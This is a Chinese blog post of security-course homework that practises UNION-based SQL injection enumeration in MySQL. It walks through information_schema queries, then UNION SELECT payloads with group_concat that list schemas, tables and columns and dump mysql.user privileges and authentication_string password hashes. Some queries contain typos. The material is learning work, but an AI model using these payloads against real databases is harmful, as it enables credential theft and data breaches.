第五周作业
20190813 周一作业
查看库名
DESC information_schema.SCHEMATA;得出SCHEMATA
select SCHEMA_NAME from information_schema.SCHEMAATA; 查到数据库名test
desc information_schema.TABLES;
SELECT TABLE_SCHEMA FROM information_schema.TABLES where TABLE_SCHEMA='test';
DESC information_schema.COLUMNS;
select TABLE_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='test';
得到test内的表
select columns_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='test';
得到字段名
select title from test.content;
输出
20190813 周二作业
通过order by判断mysql users中共有49个字段,并用group_concat(schema_name)得出系统内的数据库名:
SELECT * FROM `mysql`.`user` WHERE `user` = 'root' union select 1,group_concat(schema_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49 from information_schema.SCHEMATA;
SELECT * FROM `mysql`.`user` WHERE `user` = 'root' union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49 from information_schema.TABLES where table_schema='mysql'
获得mysql下的字段名
SELECT * FROM `mysql`.`user` WHERE `user` = 'root' union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49 from information_schema.COLUMNS where table_schema='mysql'
SELECT * FROM `mysql`.`user` WHERE `user` = 'root' union select Host,User,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,File_priv,Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_priv,Super_priv,Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_slave_priv,Repl_client_priv,Create_view_priv,Show_view_priv,Create_routine_priv,Alter_routine_priv,Create_user_priv,Event_priv,Trigger_priv,Create_tablespace_priv,ssl_type,ssl_cipher,x509_issuer,x509_subject,max_questions,max_updates,max_connections,max_user_connections,plugin,authentication_string,password_expired,password_last_changed,password_lifetime,account_locked,Create_role_priv,Drop_role_priv,Password_reuse_history,Password_reuse_time from mysql.user;
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 zhumeng512@qq.com
文章标题:第五周作业
本文作者:弈少
发布时间:2019-08-12, 20:54:51
最后更新:2019-08-22, 12:54:44
原始链接:http://yoursite.com/2019/08/12/第五周作业/版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。